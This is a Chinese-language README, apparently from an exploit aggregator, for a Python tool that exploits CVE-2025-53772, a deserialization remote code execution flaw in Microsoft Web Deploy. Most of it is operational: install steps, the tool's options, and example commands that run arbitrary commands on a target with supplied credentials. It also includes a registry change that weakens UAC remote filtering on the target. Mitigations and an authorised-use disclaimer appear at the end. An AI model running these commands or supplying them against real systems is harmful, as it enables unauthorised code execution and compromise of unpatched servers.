## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SAILAY1996-CVE-2025-53772
# CVE-2025-53772 - Microsoft Web Deploy RCE 漏洞利用
一个基于 Python 的 CVE-2025-53772 漏洞利用程序,该漏洞是 Microsoft Web Deploy (msdeploy) 中因 HTTP 头数据的不安全反序列化而导致的远程代码执行漏洞。
## 🎬 POC 视频

* * *
## 漏洞概述
属性| 值
---|---
**CVE ID**| CVE-2025-53772
**CVSS 评分**| 8.8 (高危)
**受影响产品**| Microsoft Web Deploy 4.0
**受影响版本**| < 10.0.2001
**已修复版本**| 10.0.2001+
**漏洞类型**| 不可信数据反序列化 (CWE-502)
**认证要求**| 需要(低权限)
## 工作原理
该漏洞存在于 `MSDeploy.SyncOptions` HTTP 头的反序列化过程中。当发送特制载荷时,服务器使用 `BinaryFormatter` 对其进行反序列化,通过 TypeConfuseDelegate 小工具链触发任意代码执行。
root@kitploit:~
攻击者 目标服务器
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <恶意载荷> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ 实现 RCE!
## 受影响端点
端点| 端口| 协议| 认证类型
---|---|---|---
`/MSDEPLOYAGENTSERVICE`| 80| HTTP| NTLM
`/msdeploy.axd`| 8172| HTTPS| Basic
## 安装
root@kitploit:~
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
### 依赖要求
root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
## 使用方法
### 快速开始
root@kitploit:~
# 在 C:\Windows\Temp\pwned.txt 中创建证明文件
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
## CVE-2025-53772.py
### 选项
root@kitploit:~
-t, --target 目标 IP 或主机名(必需)
-u, --user 用户名(必需)
-P, --password 密码(必需)
--port 目标端口(默认:80)
--endpoint 端点路径(默认:/MSDEPLOYAGENTSERVICE)
--ntlm 使用 NTLM 认证(Agent Service 必需)
--calc 执行 calc.exe
--proof-temp 创建 C:\Windows\Temp\pwned.txt
--proof-web 创建 C:\inetpub\wwwroot\pwned.txt
-c, --command 要执行的自定义命令
--generate-only 仅生成载荷,不发送
-o, --output 将载荷保存到文件
### 示例
#### Agent Service(端口 80 - NTLM 认证)
root@kitploit:~
# 弹出计算器
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# 在临时文件夹中创建证明文件
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# 在 Web 根目录中创建证明文件(通过浏览器验证)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# 执行自定义命令
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# 仅生成载荷(不发送)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
#### WMSvc 服务(端口 8172 - Basic 认证)
root@kitploit:~
# 使用 msdeploy.axd 端点(不带 --ntlm 标志)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
* * *
## 验证
运行漏洞利用后,在目标上验证执行情况:
root@kitploit:~
# 检查证明文件
type C:\Windows\Temp\pwned.txt
# 或者通过浏览器(如果使用了 --proof-web)
# 导航到:http://<TARGET>/pwned.txt
* * *
### 常见问题
#### 401 未授权(NTLM)
如果使用 Agent Service 与 NTLM 并返回 401:
root@kitploit:~
# 在目标上禁用 UAC 远程过滤:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
#### 404 未找到(msdeploy.axd)
IIS 处理程序可能未注册。请改用 Agent Service 端点:
root@kitploit:~
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
* * *
### 验证受影响版本
root@kitploit:~
# 检查已安装版本
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# 如果 < 10.0.2001 则存在漏洞
* * *
## 缓解措施
1. **将 Web Deploy 更新** 到 10.0.2001 或更高版本
2. **通过防火墙限制** 对 Web Deploy 端点的访问
3. **使用强凭据** 并避免密码重用
4. **监控日志** ,留意端口 80/8172 上的可疑活动
5. 如果不需要,**禁用** Web Deploy
* * *
## 参考资料
* Microsoft 安全公告
* NVD - CVE-2025-53772
* HawkTrace 的原始研究
* * *
## 免责声明
本工具仅用于**授权安全测试和教育目的** 。未经授权访问计算机系统是违法的。在测试之前,请务必获得适当授权。
* * *
## 许可证
MIT License